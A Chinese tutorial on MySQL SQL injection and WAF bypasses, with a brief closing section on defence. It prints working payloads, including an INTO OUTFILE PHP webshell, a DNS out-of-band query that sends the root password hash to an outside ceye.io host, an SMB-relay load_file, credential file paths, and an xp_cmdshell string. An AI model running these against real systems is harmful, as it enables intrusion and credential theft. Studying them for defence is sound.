SQL Injection 利用与防御

SQL知识

注释方式

SQL中使用#--␠(␠代表空格的意思)、/* */作为注释,前两者表示此符号之后的本行无效,后者是直到匹配为止。注意有些浏览器在url输入#是需要改成%23不然按回车不会访问。

连接符

MySQL使用+作为连接符,例如:

1
SELECT count(*) FROM test WHERE name='te'+'st'

内置数据库、表

数据库中一般会内置一些databases和tables用于存放整个数据库的信息,而这些数据库或表的名称与功能是确定的,很容易帮助我们获取到信息。以MySQL为例,安装完成之后就会有一下几个数据库:

  • information_schema
  • mysql
  • performance_schema
  • sys

与注入相关的是information_schema库中的SCHEMATATABLESCOLUMNS,他会显示所有数据库的表名、列名以及所属数据库,在拖库是非常有用。例如下面语句就是获取当前数据库中所有表名:

1
SELECT group_concat(table_name) from information_schema.tables where table_schema=database()

常用函数

在SQL注入中经常需要使用一些内置函数,可以帮我们有效的获取信息或者帮助我们测试。

函数 作用
database() 获取当前数据库名
version() 获取当前数据库版本(同@@version)
user() 获取当前用户名(同current_user)
@@datadir 数据库存储位置
load_file(path) 读取文件数据
into outfile 写入文件
concat(a,b,c,...) 连接字符串abc…
concat_ws(separator,a,b,...) 第一个为分隔符,后面的为连接字符串
group_concat() 用于合并多条记录中的结果
substr(string,start,length) 求string的子串(同substring)
ascii() 返回字符ascii值,常用于盲注
length() 求长度
if(exp1,exp2,exp3) 如果exp满足则返回exp2否则返回exp3
now() 返回当前时间
hex() 返回字符串16进制数值,很有用
unhex() 反向
@@basedir MySQL安装目录
@@version_compile_os 操作系统

SQL注入

基本方法

  1. 寻找注入点(各种闭合、宽字符注入、报错注入、盲注)
  2. 得到字段总数 通过order by num (通过不停增加num值直到出错)
  3. 得到显示位 通过更改select 1,2,3 等确定显示的内容在第几个字段
  4. 根据显示位,修改查询数据库版本 当前数据库名等信息。
  5. 查选库,通过information_schema 的 schemata 返回所有数据库名
  6. 通过information_tables查看此数据库所有表名
  7. 查看列名 information_columns
  8. 得到具体内容

以上是SQL注入的基本思路,围绕每一步都可能有各种方式,之后总结了一些常见的注入技巧。

闭合注入

1
http://test.com?id=1' or 1=1 #

最经典的闭合方式,便于我们理解SQL注入原理。

宽字符注入

宽字符注入引起的原因主要是编码问题,服务器端采用了GBK编码,GBK编码将2个字节看成一个汉字,而服务器又对'做了转义编程\',最终使得'逃逸造成的结果。

具体来看:

1
2
3
SELECT * from test where number = '1'
SELECT * from test where number = '1\''

想使用'闭合字符型,但因后台做过转义处理,使得'\转义了,这样一般思路是:

  1. \前面想办法加一个\变成\\'
  2. 去掉\,使得\是前一个字符的内容

宽字符注入采用的是第2种思路,当输入是:

1
http://test.com?number=%df'

因为后台做了转义,所以真正的输入会变成%df\',\的hex编码值为0x5c,所以就变成了%df%5c',而因为采用的是GBK编码,两个字节认为是一个字符,所以就被解释成運',这样'就逃逸出来了。

使用%df'%bf'%d5'均可

报错注入

利用主键重复
1
2
mysql> select count(*),concat(floor(rand(0)*2), 0x3a3a3a, version(), 0x3a3a3a) x from information_schema.schemata group by x;
ERROR 1062 (23000): Duplicate entry '1:::5.7.18:::' for key '<group_key>'

这是经典的利用主键重复构成的报错,count(*)rand()group by 缺一不可。其主要原因是:rand(0)序列为稳定序列,即运行多少次都是同一个结果,而当执行floor(rand(0)*2)时,得到的结果值会不停地后移,在使用select count(*) group by x时,会统计x的个数,而x是一个动态的值,最终在计算时和插入时得到的结果不一致,与表中已有键冲突,造成的报错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
+---------------------+
| rand(0) |
+---------------------+
| 0.15522042769493574 |
| 0.620881741513388 |
| 0.6387474552157777 |
| 0.33109208227236947 |
| 0.7392180764481594 |
| 0.7028141661573334 |
| 0.2964166321758336 |
+---------------------+
+------------------+
| floor(rand(0)*2) |
+------------------+
| 0 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
| 0 |
+------------------+

我们来详细看一下步骤,这里把floor(rand(0)*2)记做了x,查询语句为:

1
SELECT count(*),x from information_schema.schemata group by x
  1. 建立空表,字段为x(即key)和count
  2. x(0,第一次计算),然后查表,表中没有,会再次计算x(1,第二次计算),放入表中,并将count值+1,即表中现在是(1,1)
  3. 再取x(1,第三次计算),表中有,不需要计算,count值+1,表中现在是(1,2)
  4. 再取x(0,第四次计算),表中没有,需要计算x(1,第五次计算),放入表中,发现已经存在x为1的记录,报错Duplicate entry
利用xpath error

MySQL提供了两个XML解析函数,ExtractValue()UpdateXML(),具体可以看这里,其第二个参数均需要符合xpath语法的字符串,否则会报错,这里就可以利用。

1
2
3
4
5
mysql> select extractvalue(0x123,concat(0x3a3a,@@version,0x3a3a));
ERROR 1105 (HY000): XPATH syntax error: '::5.7.18::'
mysql> select updatexml(1,concat(0x3a3a,@@version,0x3a3a),1);
ERROR 1105 (HY000): XPATH syntax error: '::5.7.18::'

盲注

Time-based
1
2
3
1' AND select if((select substr(table_name,1,1) from information_schema.tables where table_schema=database() limit 0,1)='e',sleep(10),null) #
1' AND select if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(10),null) #

利用sql语句执行成功后延时来得到结果。

这里,sleep()函数有一个特性:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
mysql> select * from books;
+---------+-------+-----------+--------+
| book_id | title | author_id | genre |
+---------+-------+-----------+--------+
| 1 | happy | 1 | novel |
| 2 | sad | 2 | poetry |
| 3 | hi | 12 | drama |
+---------+-------+-----------+--------+
3 rows in set (0.00 sec)
mysql> select * from books where book_id = 2;
+---------+-------+-----------+--------+
| book_id | title | author_id | genre |
+---------+-------+-----------+--------+
| 2 | sad | 2 | poetry |
+---------+-------+-----------+--------+
1 row in set (0.00 sec)
mysql> select * from books where book_id=2 and sleep(5);
Empty set (5.00 sec)
mysql> select * from books where book_id=4 and sleep(5);
Empty set (0.01 sec)

可以看到如果不存在此条记录,sleep()函数是会立刻返回而不是延迟5秒。这个特性有时候可以被用上。

Boolean-based
1
2
3
1' and ascii(substr(select database(),1,1))>99
1' and ascii(substr((select table_name from information_schema.tables limit 0,1),1,1))>90

利用sql语句执行返回值是True或False对应的页面内容会发生,来得到信息。

这里有一个sqlilabs的盲注字符猜解代码,可以看到盲注的思路

SQL注入技巧 or 注入思路

这里总结了一些比较杂的注入思路或者技巧,不定期的更新。

判断已知表名的字段数

1
2
mysql> select 1 and (select * from books)=1;
ERROR 1241 (21000): Operand should contain 4 column(s)

limit注入

1
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT start,num【注入点】

由于union无法在order by语句后面,通过查看select用法,可以知道后面还有procedureinto outfile,后者这里无法利用,则尝试使用procedure MySQL默认只有analyse(),analyse的用法在这里。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
SELECT
[ALL | DISTINCT | DISTINCTROW ]
[HIGH_PRIORITY]
[STRAIGHT_JOIN]
[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
select_expr [, select_expr ...]
[FROM table_references
[WHERE where_condition]
[GROUP BY {col_name | expr | position}
[ASC | DESC], ... [WITH ROLLUP]]
[HAVING where_condition]
[ORDER BY {col_name | expr | position}
[ASC | DESC], ...]
[LIMIT {[offset,] row_count | row_count OFFSET offset}]
[PROCEDURE procedure_name(argument_list)]
[INTO OUTFILE 'file_name' export_options
| INTO DUMPFILE 'file_name'
| INTO var_name [, var_name]]
[FOR UPDATE | LOCK IN SHARE MODE]]

所以最终可以结合报错注入达到目标

1
procedure analyse(extractvalue(0x123,concat(0x3a3a,@@version,0x3a3a)),1)

数据溢出

据说低版本有效
一个查询语句如果成功的话其返回值会是0,则可以通过返回~0+1溢出来得到结果

1
2
mysql> select ~(select user())+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(~(user()) + 1)'

数学运算也可能产生错误,比如0/@@versionexp(710)

1
2
3
4
5
mysql> select exp(~(select*from(select user())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
mysql> select (select(!x-~0)from(select(select user())x)a);
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not('root@localhost')) - ~(0))'

算是一个思路,低版本数据库有几率成功。

列名重复

1
2
mysql> select * from(select * from test a join test b)c;
ERROR 1060 (42S21): Duplicate column name 'id'

利用join实现相同列名重复报错

where子句不可使用,使用exists进行猜解

注入点

注入点不一定是url,也可能是所有资源请求(图片、HTTP头部等)

group_concat()

此函数内容太多有可能显示不出来,因为报错内容长度会有限制,需要分辨,或使用limit 一个一个获取

使用load_file、outfile、dumpfile读入导出文件

LOAD_FILE(file_name):

Reads the file and returns the file contents as a string. To use this function, the file must be located on the server host, you must specify the full path name to the file, and you must have the FILE privilege. The file must be readable by all and its size less than max_allowed_packet bytes. If the secure_file_priv system variable is set to a nonempty directory name, the file to be loaded must be located in that directory.

If the file does not exist or cannot be read because one of the preceding conditions is not satisfied, the function returns NULL.

可以看出,这个可以将文件内容读入,但是要求有FILE权限且不超过最大允许大小。
注意一下,MySQL有一个secure_file_priv字段,会限制读取和写入的文件路径,只有这个字段包含的路径才允许读入或写入,且数据库当前用户有FILE权限以及必须有相应文件的读写权限

  • secure_file_priv的值为null ,表示限制mysqld不允许导入|导出.
  • secure_file_priv的值为/tmp/,表示限制mysqld的导入|导出只能发生在/tmp/目录下.
  • secure_file_priv的值没有具体值时,表示不对mysqld的导入|导出做限制.

注意 这个FILE权限是全局的(level=Global)

The FILE privilege gives you permission to read and write files on the server host using the LOAD DATA INFILE and SELECT … INTO OUTFILE statements and the LOAD_FILE() function. A user who has the FILE privilege can read any file on the server host that is either world-readable or readable by the MySQL server. (This implies the user can read any file in any database directory, because the server can access any of those files.) The FILE privilege also enables the user to create new files in any directory where the MySQL server has write access. This includes the server’s data directory containing the files that implement the privilege tables. As a security measure, the server will not overwrite existing files. As of MySQL 5.7.17, the FILE privilege is required to use the DATA DIRECTORY or INDEX DIRECTORY table option for the CREATE TABLE statement.

例如:

1
SELECT LOAD_FILE('/etc/passwd');

可以用这个去尝试获取常见的路径地址,类似于下面这种:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
WINDOWS下:
c:/boot.ini //查看系统版本
c:/windows/php.ini //php配置信息
c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
c:/winnt/php.ini
c:/winnt/my.ini
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
//存储了pcAnywhere的登陆密码
c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf //查看WINDOWS系统apache文件
c:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站 resin文件配置信息.
c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
d:\APACHE\Apache2\conf\httpd.conf
C:\Program Files\mysql\my.ini
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
LUNIX/UNIX 下:
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本
/etc/issue
/etc/issue.net
/usr/local/app/php5/lib/php.ini //PHP相关设置
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/sysconfig/iptables 查看防火墙策略
load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))

load_file后面的路径可以使用0xHH格式或者char(DD,DD,DD)格式均可,在字段中想看包含有回车等信息的内容时,可以用hex转换,如下面这样:

1
SELECT 1,2,hex(LOAD_FILE('/tmp/passwd.exe'));



outfiledumpfile:

  • SELECT ... INTO OUTFILE writes the selected rows to a file. Column and line terminators can be specified to produce a specific output format.
  • SELECT ... INTO DUMPFILE writes a single row to a file without any formatting.

区别在上面,可以自己试一下:

1
2
SELECT * FROM USER INTO OUTFILE '/tmp/test'
SELECT * FROM USER INTO DUMPFILE '/tmp/test'

两个经典的outfile:

1
2
SELECT '<?php eval($_POST[cmd])?>' INTO OUTFILE 'D:/phpstudy/WWW/index2.php'
SELECT * FROM a INTO OUTFILE 'D:/phpstudy/WWW/index2.php'

之后只要POSTphp代码即可执行任意内容。

MD5处理后字段

利用的phpmd5(str,raw_output=true)输出的RAW MD5进行注入。在另一篇hackinglab writeup中已经进行了详细的讲解和分析,具体可以看这里的注入关最后一题。

带外通道

带外通道攻击主要是利用其他协议或者渠道从服务器提取数据。它可能是HTTP(S)请求,DNS解析服务,SMB服务,Mail服务等.
条件限制:
这些函数是需要绝对路径的,以及FILE权限

DNS注入

属于带外通道的一种,下面首先来分析一下原理。
和其他带外通道一样,其都是引起数据库去执行其他协议。DNS注入的前提是数据库有可用的能直接或间接引发DNS解析过程的子程序 属于注入中的OOB类,其他类型如下:

根据用于数据检索的传输信道,SQLi可分为三个独立的类别:inband, inference(推理) 和out-of-band。

Inband技术使用攻击者和有漏洞的Web应用程序之间现有的渠道来提取数据。通常该通道是标准的Web服务器响应。它的成员union技术使用现有的web页面输出恶意SQL查询的执行结果,而error-based技术则引发特定的恶意SQL查询的执行结果的DBMS的错误消息。

相反的,在Inference技术中,攻击者通过应用程序表现的差异来推断数据的值。Inference技术能够逐位提取恶意SQL查询结果,却没有真正传输数据。

Inference的核心是在服务器执行一系列的布尔查询,观察和最后推导接收结果的含义。根据观察到的特性,它的成员被称为布尔型盲注(bool)和基于时间(time-based)的盲注技术。在布尔型盲注技术中,可见的网络服务器响应内容的变化被用于区分给定的逻辑问题的答案,

而在基于时间的盲注技术中则通过观察Web服务器响应时间的变化来推断答案。

Out-of-band (OOB)技术,与inband相反,使用其它传输信道获取数据,例如超文本传输协议和DNS解析协议。当详细的错误信息被禁用、结果被限制或过滤、出站过滤规则不严和/或当减少查询的数目变得极度重要时inference技术看起来像是唯一的选择,这时使用OOB技术渗透便变得十分有趣。例如,基于HTTP的OOB技术的SQL查询结果变成了发送给HTTP服务器请求的一部分(例如GET参数值)被能访问日志文件的攻击者控制时。此类的技术不像其它的主流技术被广泛应用,主要是其所需的设置非常复杂,但使用它们可以克服许多障碍(如避免不必要的数据库写入和极大地提升利用INSERT/UPDATE语句漏洞的基于时间的SQLI)。

如果能找到引起DNS解析的函数,均可以达成目的,不止以下这种UNC方式。

还有一个知识就是UNC(Universal-Naming-Convention)

The Universal Naming Convention (UNC) is the naming system used in Microsoft Windows for accessing shared network folders and printers on a local area network (LAN).

简单来说,是Windows用于访问共享文件的域名转换系统。据我所知,只在Windows下可以使用,*inx下好像是不行的。
语法格式是这样的:

1
\\host-name\share-name\file_path

我们来试一下,在浏览器里面输入\\a.b.c.d\ef,发现自动转换成file://a.b.c.d/ef:

UNC

可以看到第486条记录发现其发送了一个DNS Standard query,主机名是a.b.c.d,以及DNS响应报文。
利用这个知识,结合load_file(),把盗取的数据放入域名中,实现利用:

1
select load_file("\\key.yoursite.com\abc");
典型注入方式

由于DNS信息可以被存储,所以在你服务器上可以通过记录DNS请求信息,从而实现内容记录。下面是一个典型的payload:

1
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT authentication_string FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.ip.port.b182oj.ceye.io\\abc'));
payload

注意:

  1. 可以利用ceye.io进行常见回显查看,一个非常好用的网站
  2. 如果有DNS缓存,会发送失败,需要清除系统DNS缓存 ipconfig/flushdns
  3. 发送的域名中不能有特殊符号,如图片所示,其authentication_string首字符为*,把其去掉了。

参考文章:
在SQL注入中使用DNS获取数据

SMB中继注入攻击

SMB协议是一个应用层文件共享协议,具体的可以看SMB wikil。这里引用一个SMB中继攻击案例来了解整个流程的。

SMB中继攻击

简单来说,就是攻击者伪装成共享文件协议的主机,当源主机通过SMB协议去访问共享文件时,攻击者骗取源主机的challenge结果并伪装成了源主机。

当攻击者在其电脑上伪装并监听时,可以使用smbrelayx,在mysql上尝试访问共享文件时,会窃取mysql_server身份:

1
select load_file("\攻击者ip地址");

可以看到,mysql尝试去访问共享文件,引起了SMB协议认证,攻击者通过伪装成其他主机,盗取了身份。

绕过

逗号绕过
1
2
3
select substr(database() from 1 for 5)
select mid(database()from 1 for 5)
select * from news limit 1 offset 0
<>比较符绕过

使用greatest函数

1
2
3
4
5
6
mysql> select greatest (1,2);
+----------------+
| greatest (1,2) |
+----------------+
| 2 |
+----------------+
单引号绕过

hex()编码

1
select * from Users where username=0x61646D696E;

char()函数字符拼接

1
select * from Users where username=char(97,100,109,105,110);
大小写绕过
1
?id=1+UnIoN+SeLecT+1,2,3--
替换绕过
1
?id=1+UNunionION+SEselectLECT+1,2,3--
注释绕过
1
2
?id=1+un/**/ion+se/**/lect+1,2,3--
?id=1/*!UnIoN*/SeLecT+1,2,3--
空格绕过
字符 释义
09 HT (horizontal tab) 水平制表符
0A LF (NL line feed, new line) 换行键
0B VT (vertical tab) 垂直制表符
0C FF (NP form feed, new page) 换页键
0D CR (carriage return) 回车键
A0 特殊的空格
20 (space) 空格
1
2
select
*from books where book_id=1;

括号可以绕过空格:

1
UNION(SELECT(column)FROM(table))

and/or后插入字符绕过空格
任意混合+ – ~ !可以达到绕过空格的效果

1
2
SELECT DISTINCT(db) FROM mysql.db WHERE `Host`='localhost' and-++-1=1;需要偶数个--
SELECT DISTINCT(db) FROM mysql.db WHERE `Host`='localhost' and!!~~~~!1=1;需要奇数个!

注释符&引号

1
2
SELECT DISTINCT(db) FROM mysql.db WHERE `Host`='localhost' and/**/1=1;
SELECT DISTINCT(db) FROM mysql.db WHERE `Host`='localhost' and"1=1";
编码绕过

URL encodingdouble url encodingunicode encoding

认证绕过

使用"=" 或 "-"绕过:

1
2
3
4
5
6
7
8
9
select data from users where name="="
select data from users where flase="
select data from users where 0=0
select data from users where name=''-''
select data from users where name=0-0
select data from users where 0=0
email=''&password=''
类型转换
1
2
3
4
5
6
7
8
9
' or 1=true
' or 1
select * from users where 'a'='b'='c'
select * from users where ('a'='b')='c'
select * from users where (false)='c'
select * from users where (0)='c'
select * from users where (0)=0
select * from users where true
select * from users

利用了mysql中的隐式转换

字符编码

当客户端与mysql设置为不同的字符集时,可以使用类似ÂÃÄ这种latin1绕过检测。原理有点类似宽字符注入,也是利用了通信双方字符集类型的不同,导致转换时出现了意想不到的问题。

文章源自这里

当执行:

1
set names utf8;

只更改了客户端的字符集设置utf-8,而服务器端默认的还是latin1

  1. MySQL Server收到请求时将请求数据从character_set_client转换为character_set_connection
  2. 进行内部操作前将请求数据从character_set_connection转换为内部操作字符集

具体漏洞原因可以看文章,写的很清楚。这里不在叙述。

mysql会自动忽略一些不完整的字符,利用这一点,可以绕过一些逻辑。

除此之外,Mysql的容错性,也使得不同字符集的内容,可以被正确修正,这使得一些策略得以实施:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
mysql> select * from books where title='Ǎdmin';
+---------+-------+-----------+-------+
| book_id | title | author_id | genre |
+---------+-------+-----------+-------+
| 5 | admin | 13 | novel |
+---------+-------+-----------+-------+
1 row in set (0.00 sec)
mysql> select * from books where title like '%Ǎ%';
+---------+-------+-----------+--------+
| book_id | title | author_id | genre |
+---------+-------+-----------+--------+
| 1 | happy | 1 | novel |
| 2 | sad | 2 | poetry |
| 5 | admin | 13 | novel |
+---------+-------+-----------+--------+
3 rows in set (0.01 sec)

可以看到,通过Ǎ这种含有分音符的字符,可以绕过一些WAF的检测。

HTTP 参数污染

不同web server对含有异常字符的参数会有不同的返回结果,有时这些响应可以被利用,以下总结来源于这里的文章

http污染

MySQL约束攻击

参考于基于约束的SQL攻击.
其原理是SQL在比较字符时会去掉字符串末尾的空格。其主要原因是SQL会在内部使用空格来填充字符串,以便在比较之前使他们长度保持一致。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
mysql> select User,authentication_string from user where User='root';
+------+-----------------------+
| User | authentication_string |
+------+-----------------------+
| root | |
+------+-----------------------+
1 row in set (0.01 sec)
mysql> select User,authentication_string from user where User='root ';
+------+-----------------------+
| User | authentication_string |
+------+-----------------------+
| root | |
+------+-----------------------+
1 row in set (0.00 sec)

Insert语句中,SQL都会根据varchar(n)来限制字符串的最大长度。也就是说,如果字符串的长度大于n个字符的话,那么仅使用字符串的前n个字符。比如特定列的长度约束为5个字符,那么在插入字符串abcdefg时,实际上只能插入字符串的前5个字符,即abcde

利用点:
如果某注册网站的注册逻辑是这样的:

1
2
3
4
if exist(username):
return error
else:
insert(username,passwd)

我们可以去注册一个admin(包含很多空格)的一个用户名,在查询时,会返回admin的结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
mysql> CREATE TABLE users (
-> username varchar(25),
-> password varchar(25)
-> );
Query OK, 0 rows affected (0.09 sec)
mysql> INSERT INTO users
-> VALUES('vampire', 'my_password');
Query OK, 1 row affected (0.11 sec)
mysql> SELECT * FROM users;
+----------+-------------+
| username | password |
+----------+-------------+
| vampire | my_password |
+----------+-------------+
1 row in set (0.00 sec)
mysql> SELECT * FROM users
-> WHERE username='vampire ';
+----------+-------------+
| username | password |
+----------+-------------+
| vampire | my_password |
+----------+-------------+
1 row in set (0.00 sec)
mysql> SELECT * FROM users
-> WHERE username='vampire 1';
Empty set (0.00 sec)

WAF 常见绕过方式

原文章地址:这里SQL注入绕过waf和过滤机制
WAF(Web Application Firewall)总体来说具有以下功能:

  1. 审计设备用来截获所有HTTP数据或者仅仅满足某些规则的会话
  2. 访问控制设备用来控制对Web应用的访问既包括主动安全模式也包括被动安全模式
  3. 架构/网络设计工具当运行在反向代理模式他们被用来分配职能集中控制虚拟基础结构等。
  4. WEB应用加固工具这些功能增强被保护Web应用的安全性它不仅能够屏蔽WEB应用固有弱点而且能够保护WEB应用编程错误导致的安全隐患。

常见特点:

  • 异常检测协议拒绝不符合HTTP标准的请求
  • 增强的输入验证代理和服务端的验证而不只是限于客户端验证
  • 白名单&黑名单白名单适用于稳定的We应用黑名单适合处理已知问题
  • 基于规则和基于异常的保护基于规则更多的依赖黑名单机制基于异常更为灵活
  • 状态管理重点进行会话保护
  • 另还有Coikies保护、抗入侵规避技术、响应监视和信息泄露保护等

如果对于扫描器WAF有:

  1. 扫描器指纹(head字段/请求参数值)以wvs为例会有很明显的Acunetix在内的标识
  2. 单IP+ cookie某时间段内触发规则次数
  3. 隐藏的链接标签等(<a>)
  4. Cookie植入
  5. 验证码验证扫描器无法自动填充验证码
  6. 单IP请求时间段内Webserver返回http状态404比例 扫描器探测敏感目录基于字典找不到文件则返回404

原文总结了9中绕过方法:

  • 大小写混合
  • 替换关键字
  • 使用编码
  • 使用注释
  • 等价函数与命令
  • 使用特殊符号
  • HTTP参数控制
  • 缓冲区溢出
  • 整合绕过

有些之前提到过的方法不在赘述,这里主要补充一些。

编码替换

URL多次编码,用于只进行了一次解码过滤的

1
2
3
4
5
6
page.php?id=1%252f%252a*/UNION%252f%252a/SELECT
解码1次:
page.php?id=1%2f%2a*/UNION%2f%2a/SELECT
解码2次:
page.php?id=1/**/UNION/*/SELECT
注释

常见注释:

1
//, -- , /**/, #, --+,-- -, ;--a

后几个表示此行之后无效

1
2
z.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4
'union%a0select pass from users#

内联注释: 只有MySQL中才能正常识别

/*!content*/ MySQL会识别出正常的内容

1
2
index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3
?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4

这是最为常用的绕过方式!!

等价替换

有些函数或命令因其关键字被检测出来而无法使用但是在很多情况下可以使用与之等价或类似的代码替代其使用

函数或变量:

1
2
3
4
5
6
hex()bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()

例如:

1
2
3
4
5
6
?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1
特殊字符
1
2
3
4
1.使用反引号`,例如select `version()`,可以用来过空格和正则,特殊情况下还可以将其做注释符用
2.神奇的"-+."select+id-1+1.from users; “+”是用于字符串连接的,”-”和”.”在此也用于连接,可以逃过空格和关键字过滤
3.@符号,select@^1.from users; @用于变量定义如@var_name,一个@表示用户定义,@@表示系统变量
4.Mysql function() as xxx 也可不用as和空格   select-count(id)test from users; //绕过空格限制

部分可能发挥作用的字符:

1
`、~、!、@、%()、[]、.、-、+ 、|、%00
1
2
3
4
5
6
7
8
9
'se'+'lec'+'t'
%S%E%L%E%C%T 1
1.aspx?id=1;EXEC('ma'+'ster..x'+'p_cm'+'dsh'+'ell "net user"')
!和()' or --+2=- -!!!'2
id=1+(UnI)(oN)+(SeL)(EcT)
> > , <<, >=, <=, <>,<=>,XOR, DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN
HTTP 参数控制

这里HTTP参数控制除了对查询语句的参数进行篡改还包括HTTP方法HTTP头的控制

HPP(HTTP Parameter Polution)

1
2
/?id=1;select+1&id=2,3+from+users+where+id=1
/?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users

HPP又称做重复参数污染最简单的就是?uid=1&uid=2&uid=3对于这种情况不同的Web服务器处理方式不同

HPF(HTTP Parameter Fragment)
这种方法是HTTP分割注入同CRLF略有相似之处(使用控制字符%0a、%0d等换行)

1
2
/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--
select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users
缓冲区溢出

缓冲区溢出用于对付WAF在内的软件本身有不少WAF是C语言写的而C语言自身没有缓冲区保护机制因此如果WAF在处理测试向量时超出了其缓冲区长度就会引发bug从而实现绕过

1
?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

SQL防御

使用占位符?而不是字符串与参数的连接

1
2
3
$stmt = $db->prepare('update name set name = ? where id = ?');
$stmt->bind_param('si',$name,$id);
$stmt->execute();

注意: 预编译不是万能的

  1. 参数占位符不能用于指定查询中的表和列的名称。
  2. 参数占位符不能用于查询的其他部分,比如ORDER BY子句中的ASC或者DESC关键词等。

例如:

1
SELECT * FROM products where name='test' order by id asc/desc;

常规的注入点位于test字段处,这时可以用参数话查询来从根本上杜绝SQL注入的产生,但是假设注入点位于表名products、列名id或者ascdesc关键字处,这时便无法使用参数化查询。

关闭错误提示

很多基于报错注入的方式需要有回显,关闭回显可以减少服务器提供的信息。

PHP关闭魔术引号

当php.ini里的magic_quotes_gpc=On时。提交的变量中所有的单引号(’)、双引号(”)、反斜线()与 NUL(NULL 字符)会自动转为含有反斜线的转义字符。

正确的转义

根据参数的输出位置,正确的转义(HTML转义等),而不是一味的使用。

转换数据类型

在传入参数之前,转换参数类型为确定类型。